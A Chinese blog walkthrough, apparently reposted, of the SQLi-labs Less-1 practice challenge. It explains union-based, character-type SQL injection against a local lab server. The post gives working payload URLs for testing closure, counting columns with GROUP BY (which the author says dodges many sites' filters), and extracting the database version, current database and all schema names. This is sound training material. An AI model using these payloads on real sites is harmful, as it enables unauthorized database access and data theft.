当前位置:网站首页>通关SQLilab靶场——Less-1思路步骤

通关SQLilab靶场——Less-1思路步骤

2022-08-09 11:08:00 AnQTroops

Less-1 GET—Union字符型注入

认真看完会收获不少~

  1. 找交互点

http://192.168.182.130:8080/Less-1/?id=1

http://192.168.182.130:8080/Less-1/?id=2

前后两个页面数据不同,找到交互点

  1. 判断是否存在注入(用户输入的代码给数据库执行了)

判断注入点时,如果网站的闭合是单引号’ ',那么输入双引号 " 是无法报错,因为双引号被当作字符给闭合在里面了。如果时双引号" "闭合,那么输入单引号’也是不会发生改变的,因为单引号也被当作字符给闭合在里面了。如果是数字型,不管输入什么都会发生改变。

这里直接输入' "来判断是否存在注入,因为不管是字符型还是数字型只要数据库执行了都会发生改变。

通过SQL语句来理解:

数字型:SELECT * FROM users WHERE id=1' "

单引号字符型:SELECT * FROM users WHERE id=' 1' " '

双引号字符型:SELECT * FROM users WHERE id=" 1' " "

所以我们这里直接输入' "来判断是否存在注入(只要页面发生改变就说明存在注入了)

http://192.168.182.130:8080/Less-1/?id=1"' 页面发生改变

成功验证这里是存在注入

  1. 判断注入类型

测试是否为数字型

http://192.168.182.130:8080/Less-1/?id=1 and 1=1页面正常

http://192.168.182.130:8080/Less-1/?id=1 and 1=2页面正常

说明注入点为 字符型 注入

  1. 判断闭合方式

通过SQL语句来理解如何判断闭合方式:

单引号字符型:SELECT * FROM users WHERE id=' 1 '

如果是单引号闭合,那么输入单引号,页面就是发生改变。

id=' 1 ',输入单引号id=' 1' ',输入的单引号就会和前面的闭合,就会造成语句错误,页面发生变化

id=' 1 ',输入双引号id=' 1" ',输入的双引号就会被当作字符来执行,页面正常

双引号字符型:SELECT * FROM users WHERE id=" 1 "

id=" 1 ",输入双引号id=" 1" ",输入的双引号就会和前面的闭合,就会造成语句错误,页面发生变化

id=" 1 ",输入单引号id=" 1' ",输入的单引号引号就会被当作字符来执行,页面正常

回到主题,这里我们先判断是否为单引号闭合

http://192.168.182.130:8080/Less-1/?id=1' 页面发生改变

http://192.168.182.130:8080/Less-1/?id=1' and 1=1 -- qwe 页面正常

http://192.168.182.130:8080/Less-1/?id=1' and 1=2 -- qwe 页面发生变化

这里我们就找到闭合方式了

  1. 查询字段数

查询字段数有两种方法:

order by

group by

通过group by 查询字段数的方法,目前的网站还不是很多过滤和拦截。

这里我们就通过group by来查询子段数

http://192.168.182.130:8080/Less-1/?id=1' group by 1 -- qwe 页面正常

http://192.168.182.130:8080/Less-1/?id=1' group by 2 -- qwe 页面正常

http://192.168.182.130:8080/Less-1/?id=1' group by 3 -- qwe 页面正常

http://192.168.182.130:8080/Less-1/?id=1' group by 4 -- qwe 页面发生变化

得到字段数为 3

  1. 找回显位

通过union联合查询来找回显位,前面我们找字段数就是为了使用union联合查询。

使用union联合查询的前提条件是前后两条查询语句的字段数必须相同

http://192.168.182.130:8080/Less-1/?id=1' and 1=2 union select 1,2,3-- qwe 通过页面回显,得到回显位在2,3

  1. 查询数据库版本

因为Mysql数据库5.0以上版本存在一个information_schema数据库;里面存放着关于整个Mysql数据库的 库——>表——>字段 的对应关系的数据。

因为这里是我个人本地搭建的,所以每个人的数据库版本号有所不同

http://192.168.182.130:8080/Less-1/?id=1' and 1=2 union select 1,2,version()-- qwe

得到数据库版本号为:5.5.53

可以通过information_schema数据库来获取数据

  1. 查询数据库名

查询当前数据库:

http://192.168.182.130:8080/Less-1/?id=1' and 1=2 union select 1,2,database()-- qwe

查询所有数据库:

http://192.168.182.130:8080/Less-1/?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata limit 0,1-- qwe

查询到当前数据库是:security

  1. 结论

后面的查找表名,字段名都一样,主要学的是整体的注入思路。纯手打,XDM多多点赞哈~

原网站

版权声明
本文为[AnQTroops]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_46694260/article/details/126126754